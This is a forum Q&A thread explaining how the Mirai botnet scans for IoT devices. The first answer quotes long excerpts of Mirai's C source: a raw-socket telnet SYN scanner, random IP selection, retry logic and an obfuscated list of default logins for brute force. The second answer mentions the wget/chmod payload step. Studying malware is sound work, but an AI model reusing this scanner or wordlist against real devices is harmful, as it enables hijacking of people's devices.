I read some articles about the Mirai botnet. I can't understand how Mirai scans/finds IoT devices. Does Mirai scan the entire public IP range with an open telnet port and try to log in?
2 Answers
The original Mirai looks for devices with busybox installed. This answer is directed at the original Mirai. As you know Mirai source codes are now public and it is not surprising to see variants of Mirai in the wild performing different if not more sophisticated attacks.
If you like to know how Mirai communicates with it's C&C. Check out similar question "How does Mirai's C&C communicate with its bots?".
Here instead is the explanation on "How Mirai Targets."
SYN scanning on socket is done and traversing accross various target IP addresses. It's used because it's fast and the ability to probe multiple ports
// Set up raw socket scanning and payload if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) { #ifdef DEBUG printf("[scanner] Failed to initialize raw socket, cannot scan\n"); #endif exit(0); }
Getting responses
if (fake_time != last_spew) { last_spew = fake_time; for (i = 0; i < SCANNER_RAW_PPS; i++) { struct sockaddr_in paddr = {0}; struct iphdr *iph = (struct iphdr *)scanner_rawpkt; struct tcphdr *tcph = (struct tcphdr *)(iph + 1); iph->id = rand_next(); iph->saddr = LOCAL_ADDR; iph->daddr = get_random_ip(); iph->check = 0; iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); if (i % 10 == 0) { tcph->dest = htons(2323); } else { tcph->dest = htons(23); } tcph->seq = iph->daddr; tcph->check = 0; tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr)); paddr.sin_family = AF_INET; paddr.sin_addr.s_addr = iph->daddr; paddr.sin_port = tcph->dest; sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr)); } }
And getting random ip to target
static ipv4_t get_random_ip(void) { uint32_t tmp; uint8_t o1, o2, o3, o4; do { tmp = rand_next(); o1 = tmp & 0xff; o2 = (tmp >> 8) & 0xff; o3 = (tmp >> 16) & 0xff; o4 = (tmp >> 24) & 0xff; } while (o1 == 127 || // 127.0.0.0/8 - Loopback (o1 == 0) || // 0.0.0.0/8 - Invalid address space (o1 == 3) || // 3.0.0.0/8 - General Electric Company (o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company (o1 == 56) || // 56.0.0.0/8 - US Postal Service (o1 == 10) || // 10.0.0.0/8 - Internal network (o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network (o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network (o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved (o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved (o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use (o1 >= 224) || // 224.*.*.*+ - Multicast (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense ); return INET_ADDR(o1,o2,o3,o4); }
Send ACK packet and receive the response from target and perform analysis if a port is open. Targeting TCP/23 and TCP/2323
last_avail_conn = 0; while (TRUE) { int n; char dgram[1514]; struct iphdr *iph = (struct iphdr *)dgram; struct tcphdr *tcph = (struct tcphdr *)(iph + 1); struct scanner_connection *conn; errno = 0; n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL); if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK) break; if (n < sizeof(struct iphdr) + sizeof(struct tcphdr)) continue; if (iph->daddr != LOCAL_ADDR) continue; if (iph->protocol != IPPROTO_TCP) continue; if (tcph->source != htons(23) && tcph->source != htons(2323)) continue; if (tcph->dest != source_port) continue; if (!tcph->syn) continue; if (!tcph->ack) continue; if (tcph->rst) continue; if (tcph->fin) continue; if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr) continue; conn = NULL; for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++) { if (conn_table[n].state == SC_CLOSED) { conn = &conn_table[n]; last_avail_conn = n; break; } }
Once the above are done. A TCP Session is then Established
FD_ZERO(&fdset_rd); FD_ZERO(&fdset_wr); for (i = 0; i < SCANNER_MAX_CONNS; i++) { int timeout; conn = &conn_table[i]; timeout = (conn->state > SC_CONNECTING ? 30 : 5); if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout) { #ifdef DEBUG printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state); #endif close(conn->fd); conn->fd = -1; // Retry if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again { if (++(conn->tries) == 10) { conn->tries = 0; conn->state = SC_CLOSED; } else { setup_connection(conn); #ifdef DEBUG printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd); #endif } } else { conn->tries = 0; conn->state = SC_CLOSED; } continue; }
Password Enumeration
if (FD_ISSET(conn->fd, &fdset_rd)) { while (TRUE) { int ret; if (conn->state == SC_CLOSED) break; if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE) { memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN); conn->rdbuf_pos -= SCANNER_HACK_DRAIN; } errno = 0; ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL); if (ret == 0) { #ifdef DEBUG printf("[scanner] FD%d connection gracefully closed\n", conn->fd); #endif errno = ECONNRESET; ret = -1; // Fall through to closing connection below } if (ret == -1) { if (errno != EAGAIN && errno != EWOULDBLOCK) { #ifdef DEBUG printf("[scanner] FD%d lost connection\n", conn->fd); #endif close(conn->fd); conn->fd = -1; // Retry if (++(conn->tries) >= 10) { conn->tries = 0; conn->state = SC_CLOSED; } else { setup_connection(conn); #ifdef DEBUG printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd); #endif } }
Attempts using common weak passwords and default passwords.
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511 add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888 add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456 add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321 add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5); // support support add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (none) add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); // admin password add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); // root root add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4); // root 12345 add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3); // user user add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); // admin (none) add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3); // root pass add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3); // admin admin1234 add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3); // root 1111 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3); // admin smcadmin add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2); // admin 1111 add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2); // root 666666 add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2); // root password add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2); // root 1234 add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1); // root klv123 add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1); // service service add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1); // guest guest add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345 add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345 add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1); // admin1 password add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234 add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1); // 666666 666666 add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1); // 888888 888888 add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1); // ubnt ubnt add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1); // root klv1234 add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1); // root Zte521 add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1); // root hi3518 add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1); // root jvbzd add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4); // root anko add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1); // root zlxx. add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root 7ujMko0vizxv add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root 7ujMko0admin add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1); // root system add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1); // root ikwb add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1); // root dreambox add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1); // root user add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1); // root realtek add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1); // root 00000000 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1); // admin 1111111 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1); // admin 1234 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1); // admin 12345 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1); // admin 54321 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1); // admin 123456 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin 7ujMko0admin add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1); // admin 1234 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1); // admin pass add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1); // admin meinsm add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1); // tech tech add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1); // mother f**ker
- 1,263
- 1
- 9
- 21
I haven't been researching much about Mirai but similar malware is installed by just scanning the whole Internet for routers with a scanner for open telnet ports and brute-force it with default passwords.
After that it just uses a combination of "wget", "chmod" and "./" to execute the payload onto the target machine, in Mirai's case, router.
- 137
- 2
- 8